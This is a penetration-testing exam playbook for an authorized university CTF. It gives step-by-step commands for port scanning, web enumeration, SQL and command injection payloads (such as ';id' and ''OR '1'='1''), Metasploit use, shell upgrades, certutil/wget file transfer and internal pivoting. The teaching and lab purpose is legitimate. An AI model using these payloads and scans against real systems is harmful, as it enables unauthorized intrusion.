Source: Juni_2026_Exams/Penetration_Testing/notes/04-detailed-ctf-exam-playbook.md
Detailed CTF Exam Playbook
Purpose
Use this when the short open-notes page is not enough. It explains what to do, why to do it, what output matters, and what to try next. It is written for the authorized university CTF described by the uploaded material. Do not use these commands against systems outside the exam/lab scope.
The exam is not won by one exploit. It is won by complete enumeration, careful recording, fast decoding, and returning to untested services when stuck.
0. Start Clean
Create one directory per run:
mkdir -p ~/pentest-exam-$(date -u +%Y%m%d-%H%M)
cd ~/pentest-exam-*
mkdir -p scans web loot shells notes evidence
date -u | tee notes/start-time-utc.txt
Set and print the target:
export TARGET=127.0.0.1
printf 'TARGET=%s\n' "$TARGET" | tee notes/target.txt
If the exam gives a VM host IP instead of localhost:
export TARGET=<VM_HOST_IP>
printf 'TARGET=%s\n' "$TARGET" | tee notes/target.txt
Keep a live table:
| Item | Value |
|---|---|
| Target | $TARGET |
| Launch command | python3 start_ctf.py |
| Required flag format | FLAG_XX: <32 hex> |
| Open ports | [fill after scan] |
| Credentials found | [source + value] |
| Internal routes | [fill after shell] |
Use the verified solution walkthroughs as examples of how detailed your notes should be:
| Scenario | Walkthrough |
|---|---|
| Current live lab status and target playbooks | ../solutions/live-lab-evidence-handoff-and-target-playbooks.md |
| Windows XP SMB to SYSTEM | ../solutions/ms17-010-windows-xp-successful-exploitation.md |
| Metasploitable 2 multiple paths | ../solutions/metasploitable2-multiple-exploitation-paths.md |
| Ubuntu web backup leak, SQLi, webshell | ../solutions/ubuntu-web-sqli-webshell-exploitation.md |
1. Scan Correctly
Why
Previous exam material uses services on unusual ports. A default scan can miss the important service. Scan all TCP ports first, then run detailed scripts only against confirmed open ports.
Commands
nmap -Pn -sV -p- --min-rate 1000 "$TARGET" -oA scans/all-tcp
grep '/open/' scans/all-tcp.gnmap | tee scans/open-ports.txt
Convert ports into a comma-separated list:
awk -F'Ports: ' '/Ports:/{print $2}' scans/all-tcp.gnmap \
| tr ',' '\n' \
| awk -F'/' '/open/{print $1}' \
| paste -sd, - \
| tee scans/open-port-list.txt
Run detail scan:
PORTS=$(cat scans/open-port-list.txt)
nmap -Pn -sC -sV -p "$PORTS" "$TARGET" -oA scans/detail
If the first scan is unstable:
nmap -Pn -sV -p- --min-rate 200 "$TARGET" -oA scans/all-tcp-slow
What To Record
| Field | Why it matters |
|---|---|
| Port | The real service may be on a non-default port |
| Service | Chooses the first client/tool |
| Version | Determines whether an exploit is plausible |
| Script output | May expose files, anonymous login, titles, robots, SSL data |
| Unusual banner | May directly contain a flag or clue |
How To Interpret
filteredmeans probes were blocked or dropped; it does not prove closed.tcpwrappedmeans the connection closed quickly or access is controlled.-sVguesses based on fingerprints; verify important findings manually.-sCscripts can be intrusive, so use them only in authorized scope.
2. Build the Attack Surface Table
After scanning, write one row per port:
| Port | Nmap service/version | First manual test | Interesting output | Next step | Done |
|---|---|---|---|---|---|
| 80 | HTTP | curl -i |
Web checklist | ||
| 21 | FTP | ftp/nc |
Anonymous/files | ||
| 3306 | MySQL | mysql |
Credentials | ||
| 9999 | unknown | nc -nv |
Type HELP |
Do not delete rows. Mark them done. This prevents missed flags.
3. Web Enumeration
First Pass
For every HTTP-like port:
PORT=<PORT>
BASE="http://$TARGET:$PORT"
mkdir -p "web/$PORT"
curl -i "$BASE/" | tee "web/$PORT/root-headers-body.txt"
curl -s "$BASE/" | tee "web/$PORT/root.html" >/dev/null
curl -s "$BASE/robots.txt" | tee "web/$PORT/robots.txt"
If HTTPS:
BASE="https://$TARGET:$PORT"
curl -k -i "$BASE/" | tee "web/$PORT/root-headers-body.txt"
What To Look For
Search local copies:
grep -RInE 'flag|FLAG|secret|token|pass|admin|debug|api|backup|hidden' "web/$PORT"
Inspect linked files:
grep -Eo 'href="[^"]+"|src="[^"]+"' "web/$PORT/root.html" | sort -u
Request common low-cost paths:
for path in robots.txt sitemap.xml admin login api debug backup backups uploads files; do
printf '\n### /%s\n' "$path" | tee -a "web/$PORT/path-checks.txt"
curl -sS -i "$BASE/$path" | tee -a "web/$PORT/path-checks.txt"
done
If directory brute force is allowed and a wordlist is available, keep it small:
ffuf -u "$BASE/FUZZ" -w <SMALL_LAB_WORDLIST> -mc all -fc 404 -o "web/$PORT/ffuf.json"
If ffuf is unavailable:
while read -r path; do
code=$(curl -k -s -o /dev/null -w '%{http_code}' "$BASE/$path")
printf '%s %s\n' "$code" "$path"
done < <SMALL_LAB_WORDLIST> | tee "web/$PORT/simple-dir-check.txt"
JavaScript and APIs
Extract possible endpoints:
grep -RhoE '["'\''][/A-Za-z0-9_.?=&%-]{3,}["'\'']' "web/$PORT" \
| tr -d '"'\' \
| sort -u \
| tee "web/$PORT/possible-endpoints.txt"
Request endpoints carefully:
while read -r endpoint; do
case "$endpoint" in
http*) url="$endpoint" ;;
/*) url="$BASE$endpoint" ;;
*) url="$BASE/$endpoint" ;;
esac
printf '\n### %s\n' "$url"
curl -sS -i "$url" | head -n 40
done < "web/$PORT/possible-endpoints.txt" | tee "web/$PORT/endpoint-checks.txt"
Files and Metadata
Download only files from the authorized target:
curl -fSLO "$BASE/<FILE>"
file <FILE>
sha256sum <FILE>
exiftool <FILE> 2>/dev/null | tee "loot/<FILE>.exif.txt"
strings -a <FILE> | tee "loot/<FILE>.strings.txt"
grep -Ein 'flag|secret|token|pass' "loot/<FILE>.strings.txt"
Interpretation
- A hidden path is not a vulnerability by itself, but it may contain flags.
- HTML comments and JavaScript are often faster than exploitation.
- Headers may leak framework, version, cookie flags, or a flag.
- Encoded JSON values must be decoded before you decide they are useless.
4. Encoding and Data Decoding
Recognize Common Encodings
| Looks like | First test |
|---|---|
dGVzdA== |
Base64 |
666c6167 |
Hex |
%66%6c%61%67 |
URL encoding |
fl |
HTML entity |
| Long JWT with dots | Base64url sections |
Commands
Base64:
printf '%s' '<VALUE>' | base64 -d
Hex:
printf '%s' '<HEX>' | xxd -r -p
URL decode:
python3 - <<'PY'
from urllib.parse import unquote
print(unquote('<VALUE>'))
PY
JWT decode without verification:
python3 - <<'PY'
import base64, json
token = '<JWT>'
for part in token.split('.')[:2]:
part += '=' * (-len(part) % 4)
print(json.dumps(json.loads(base64.urlsafe_b64decode(part)), indent=2))
PY
Validate flag shape:
printf '%s\n' '<CANDIDATE>' | grep -E '^[0-9a-fA-F]{32}$'
5. Manual Service Enumeration
Unknown TCP
nc -nv "$TARGET" <PORT>
Try:
HELP
help
?
VERSION
INFO
GET / HTTP/1.0
If it behaves like HTTP:
printf 'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>
printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>
FTP
nc -nv "$TARGET" <FTP_PORT>
ftp "$TARGET" <FTP_PORT>
Inside FTP:
anonymous
ls -la
pwd
binary
get <FILE>
bye
Then inspect downloads:
file <FILE>
strings -a <FILE>
sha256sum <FILE>
Do not assume anonymous access exists. Record the banner and login result.
SSH
ssh -p <PORT> <USER>@"$TARGET"
ssh -o PreferredAuthentications=password -p <PORT> <USER>@"$TARGET"
If you find credentials, record the source. If login succeeds:
id
hostname
pwd
ls -la
MySQL
mysql -h "$TARGET" -P <PORT> -u <USER> -p
Inside MySQL:
SELECT VERSION();
SHOW DATABASES;
USE <database>;
SHOW TABLES;
DESCRIBE <table>;
SELECT * FROM <table> LIMIT 20;
Save output:
mysql -h "$TARGET" -P <PORT> -u <USER> -p -e 'SHOW DATABASES;'
SMB
smbclient -L //"$TARGET" -N
smbclient -L //"$TARGET" -U '<USER>'
smbclient //"$TARGET"/<SHARE> -N
Inside smbclient:
ls
recurse ON
prompt OFF
mget *
quit
6. Web Injection Tests
Only test deliberately vulnerable lab parameters.
Command Injection
Baseline first:
curl -i "$BASE/<PATH>?<PARAM>=test"
Harmless checks:
curl -i "$BASE/<PATH>?<PARAM>=id"
curl -i "$BASE/<PATH>?<PARAM>=whoami"
curl -i "$BASE/<PATH>?<PARAM>=pwd"
Common separators to test carefully:
;id
&&id
|id
`id`
$(id)
URL encode when needed:
python3 - <<'PY'
from urllib.parse import quote
print(quote(';id'))
PY
Evidence must show:
- vulnerable URL/parameter
- payload
- command output
- reason it cannot be normal page content
SQL Injection
Baseline:
curl -i "$BASE/<PATH>?id=1"
curl -i "$BASE/<PATH>?id=1'"
Login bypass examples from the course context:
admin' OR '1'='1'-- -
admin'-- -
Column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
UNION shape:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Never paste a historical table/column name without proving it exists in the current challenge.
7. Searchsploit and Exploit Selection
Search:
searchsploit <PRODUCT> <VERSION>
searchsploit --cve <CVE-ID>
searchsploit -x <PATH>
Mirror for lab review:
searchsploit -m <PATH>
sed -n '1,200p' <COPIED_EXPLOIT>
Before using an exploit, answer:
| Question | Required answer |
|---|---|
| Does Nmap confirm the exact product/version? | [yes/no] |
| Is the exploit remote or local? | [remote/local] |
| Is authentication required? | [yes/no] |
| What platform/architecture is expected? | [linux/windows/x86/x64] |
| What is the side effect? | [shell/read file/dos/etc.] |
| Is Metasploit safer/faster for this module? | [yes/no] |
8. Metasploit Workflow
Start:
msfconsole
Inside:
workspace -a exam
db_status
db_nmap -sV -p <PORTS> <TARGET>
services
search <PRODUCT> <VERSION>
info <MODULE>
use <MODULE>
show options
show payloads
set RHOSTS <TARGET>
set RPORT <ACTUAL_PORT>
check
run
sessions -l
sessions -i <ID>
If the module needs payload options:
set LHOST <YOUR_LAB_IP>
set LPORT 4444
Find your callback IP:
ip -brief addr
ip route get "$TARGET"
Common mistakes:
- setting
RPORTto the default instead of the actual discovered port - using an exploit for the right service on the wrong version
- forgetting
LHOST - ignoring failed
check - not recording session privilege with
id,whoami, orgetuid
9. Shell Handling
Immediately after shell:
id || whoami
hostname
pwd
uname -a 2>/dev/null || ver
ip addr 2>/dev/null || ipconfig
ip route 2>/dev/null || route print
ss -lntup 2>/dev/null || netstat -ano
Upgrade Linux shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Then press Ctrl-Z locally:
stty raw -echo; fg
export TERM=xterm
If terminal breaks:
reset
Meterpreter basics:
sysinfo
getuid
pwd
ls
shell
background
sessions -l
sessions -i <ID>
10. File Transfer
Kali HTTP server:
python3 -m http.server 8000 --directory loot
Linux download:
curl -fLO "http://<KALI_IP>:8000/<FILE>"
wget "http://<KALI_IP>:8000/<FILE>"
Windows PowerShell:
Invoke-WebRequest http://<KALI_IP>:8000/<FILE> -OutFile <FILE>
certutil -urlcache -split -f http://<KALI_IP>:8000/<FILE> <FILE>
Verify:
sha256sum <FILE>
Do not commit generated payloads or recovered private files to this repository.
11. Pivoting and Internal Enumeration
After a shell, look for routes:
ip addr
ip route
ss -lntup
Decide if a new lab subnet exists:
Example: attacker can reach target, target has 192.168.56.0/24 internally.
From the compromised host, use available tools:
for h in 192.168.56.{1..254}; do
ping -c 1 -W 1 "$h" >/dev/null 2>&1 && echo "$h"
done
If Nmap exists on the compromised host:
nmap -sn <INTERNAL_SUBNET>
nmap -sT -sV -p- <INTERNAL_HOST>
If only shell built-ins and nc are available:
for p in 21 22 80 443 3306 8000 8080 8443 9000; do
timeout 2 bash -c "echo >/dev/tcp/<INTERNAL_HOST>/$p" 2>/dev/null \
&& echo "open $p"
done
Record that the finding came from the compromised host, not your Kali machine.
12. Flag Handling
When you find a candidate:
printf '%s\n' '<VALUE>' | tee -a notes/flag-candidates.txt
printf '%s\n' '<VALUE>' | grep -E '^[0-9a-fA-F]{32}$'
Record:
FLAG_XX: <value>
Where: <host/port/path/file/table>
Command: <exact command>
Proof: <line of output or screenshot>
Decoded from: <none/base64/hex/url/etc.>
If the value was encoded, submit the decoded 32-character hex value, not the encoded wrapper.
13. When Stuck
Use this order:
- Re-read
scans/open-ports.txt. - Check every HTTP port again with source, headers, robots, JavaScript, and
downloaded files.
- Connect to every unknown port with
nc. - Decode every long suspicious value as Base64, hex, URL encoding, and JWT.
- Try anonymous FTP only if FTP exists.
- Try discovered credentials on appropriate services.
- Search exact service versions.
- Review shell
ip routeand internal services after compromise. - Move on after 10-15 minutes and return later.
14. Answer Template
Finding:
FLAG_XX was found in [location].
Evidence:
Command: [exact command]
Output: [minimal relevant output]
Interpretation:
This proves the flag because [why the output is directly tied to the target].
Limitations:
Historical ports/credentials were not assumed; this was observed in the
current run.